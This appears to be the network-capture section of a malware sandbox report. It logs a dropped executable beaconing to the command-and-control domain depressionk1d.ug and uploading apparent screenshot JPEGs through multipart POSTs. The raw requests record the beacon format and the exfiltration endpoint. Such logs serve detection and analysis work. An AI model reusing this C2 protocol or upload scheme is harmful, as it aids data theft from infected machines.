Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:43.636862040 CET	6596	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:43.663896084 CET	6597	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.4	49906	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:43.791893959 CET	6597	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:43.814974070 CET	6599	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:43 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:43.815002918 CET	6599	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.4	49907	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:44.602356911 CET	6600	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:44.628036976 CET	6613	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.4	49908	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:44.618961096 CET	6600	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:44.619299889 CET	6600	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:44.619872093 CET	6610	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:44.620507002 CET	6613	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:44.642594099 CET	6617	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:44.642673969 CET	6630	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:44.642718077 CET	6634	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:44.643074036 CET	6637	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:44.643176079 CET	6639	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:44.665523052 CET	6651	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:44.665595055 CET	6666	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:44.714025021 CET	6710	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:44 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:44.763657093 CET	6711	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:44.789958000 CET	6711	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.4	49909	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:44.933182955 CET	6712	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:44.958759069 CET	6712	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.4	49910	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:45.092194080 CET	6713	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:45.118091106 CET	6713	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.4	49911	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:45.261550903 CET	6714	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:45.286550045 CET	6714	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.4	49912	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:45.286794901 CET	6715	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2379f4103dba772a786c03df93bf021f Host: depressionk1d.ug Content-Length: 111558 Cache-Control: no-cache
Nov 12, 2021 22:23:45.287026882 CET	6715	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 33 37 39 66 34 31 30 33 64 62 61 37 37 32 61 37 38 36 63 30 33 64 66 39 33 62 66 30 32 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2379f4103dba772a786c03df93bf021fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:45.287492990 CET	6725	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:45.287743092 CET	6728	OUT	Data Raw: 45 14 50 20 a2 8a 28 00 a2 8a 28 00 a2 8a 5e 68 00 e6 8a 39 a2 98 05 14 51 40 82 8a 05 06 80 0a e9 be 1e ff 00 c8 fd a3 ff 00 d7 63 ff 00 a0 9a e6 6b a6 f8 7b ff 00 23 f6 8f ff 00 5d 8f fe 82 6a 27 f0 b2 a1 f1 23 e9 6a 28 aa cd 6b 33 3b 30 bf b8 Data Ascii: EP ((^h9Q@ck{#]j'#j(k3;0PNBET$c($c(SFFtUOOA?"FtUOOA?"OA?"d7?Ed7?
Nov 12, 2021 22:23:45.310164928 CET	6733	OUT	Data Raw: 59 46 94 c7 b4 0c 67 23 83 9c fa 8c 71 9a e7 0b d7 6e 1e 75 f8 40 5b cb 53 34 f3 f9 6a 73 f3 1b 58 e4 dc 4e 3d 04 af 8f c6 b8 0d f5 a4 e0 95 ad d8 e2 c2 e2 25 3e 7e 67 7b 49 a4 4c 5e b0 35 93 9b e5 ff 00 ae 63 f9 9a d8 df 58 ba a9 cd e2 ff 00 d7 Data Ascii: YFg#qnu@[S4jsXN=%>~g{IL^5cX1ve,k?:(>p:IEjYNe\|::n}ko5?#q-]j/O>bhJ\|kW\|_A~-
Nov 12, 2021 22:23:45.310209036 CET	6738	OUT	Data Raw: f4 3d 53 c3 b7 16 56 5b c9 90 a9 62 ec 99 c0 20 e0 05 27 27 20 57 81 55 86 b2 bb 59 27 8d ad 27 0f 6e bb e6 53 19 cc 4b 90 32 c3 1c 0c 91 c9 f5 15 14 90 cb 10 8c cb 13 a0 95 37 c6 59 48 de b9 23 23 d4 64 11 9f 63 5b 51 a2 a9 b6 ef 76 ff 00 af f3 Data Ascii: =SV[b '' WUY''nSK27YH##dc[Qv0b#N0n]!sIK]sES(EP(%/4Q@%%EPZ8VVYc[;h$NsZ[G7Xtm20;>{W!vWvL+#7L
Nov 12, 2021 22:23:45.310229063 CET	6741	OUT	Data Raw: 91 c7 02 c2 9c 00 c7 03 25 3d 07 73 5c 34 30 f3 ac da 87 45 7f 91 dd 52 a7 22 bd 9b f4 57 3b d9 24 48 a3 69 24 75 44 51 96 66 38 00 7b 9a 11 d2 48 d6 48 d9 5d 18 06 56 53 90 41 e8 45 79 ce b5 26 af 73 3b 69 f7 b7 ee d6 cb 83 20 01 41 2d e9 c0 15 Data Ascii: %=s\40ER"W;$Hi$uDQf8{HH]VSAEy&s;i A-h_C@p)T(EI^5$E+nUZ'lG6nvmh7aylgbDK]BoP8=3b\d4]JY'lrXn-^1 )
Nov 12, 2021 22:23:45.310370922 CET	6747	OUT	Data Raw: 58 e2 3e 03 7a 0f df 3d 7e 92 b8 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 59 ba 10 86 95 25 67 e4 af 6f 5d 50 d5 79 cf 5a 71 ba f3 76 bf a6 8c b7 Data Ascii: X>z=~x%n#rN.HI?ZxlMHnOY%go]PyZqvZ4#m2A\|]FlV2Hm9AWF^:WWnP^W^J(_9.*h<i6EFNF@]o)Zw?k9~?S_Fx
Nov 12, 2021 22:23:45.310425997 CET	6751	OUT	Data Raw: cd d7 8a 35 bb cb bf b6 4b 35 98 bb 3e 66 e9 e2 b0 82 39 1f 7a 14 6d cc a8 0b 65 58 8e 73 d7 3d 69 fb 3a ba f7 f7 bf 1d be e1 ca a5 36 cd 69 ad 60 d2 bc 37 aa 6b 3a 74 10 4d 6d 2d c5 9c da 74 d7 36 e9 2e c8 dc 4e 1e 32 1c 10 4a b2 ed 61 c8 25 41 Data Ascii: 5K5>f9zmeXs=i:6i`7k:tMm-t6.N2Ja%AEyXDMOYE05V[3Wv0kr0nziTo-qe\|U.oi7,u5mGLdLEXl&BUeEx5]%
Nov 12, 2021 22:23:45.310491085 CET	6753	OUT	Data Raw: 0a d6 8c a5 4e aa e5 d9 bb 3f eb b8 35 1a f8 79 d3 a9 af 22 6e 2f aa ee bd 1f 6e 8f 55 d6 fe 4b 4a 29 b8 a5 15 ec a3 e7 c7 8a 29 29 45 51 26 d7 83 ff 00 e4 77 f0 ff 00 fd 84 ad bf f4 6a d7 d5 17 7e 21 d2 ec 6e 9e da e6 eb 64 c9 8d cb e5 b1 c6 46 Data Ascii: N?5y"n/nUKJ)))EQ&wj~!ndF{C_+h54Bt"'jc_tH-#??qbT;p"YBRmtnVF D@A'Y5iij#x].dgH <{Uo\F6()u(Jt
Nov 12, 2021 22:23:45.333333969 CET	6759	OUT	Data Raw: 21 30 46 7f 86 90 da af 62 45 4f 8a 5c 52 e4 41 ed 19 58 da 1e cc 29 86 d9 c7 6c d5 ec 52 81 47 b2 41 ed 59 9f e5 b0 ea a6 8e 7d 2b 4b 14 6c 53 d5 01 a3 d9 76 0f 6a 67 52 8a be 6d e3 3f c2 45 34 da 2f 63 47 b3 61 ed 62 54 03 34 ec 54 e6 d1 bb 11 Data Ascii: !0FbEO\RAX)lRGAY}+KlSvjgRm?E4/cGabT4TH`{fV>tJ;iARP)LRMUXWZ)qLBSMRP)SbaF)RP:4(\3Fhf4V%5iAryISTCPK`5<=VOTKd=<5TOH)4
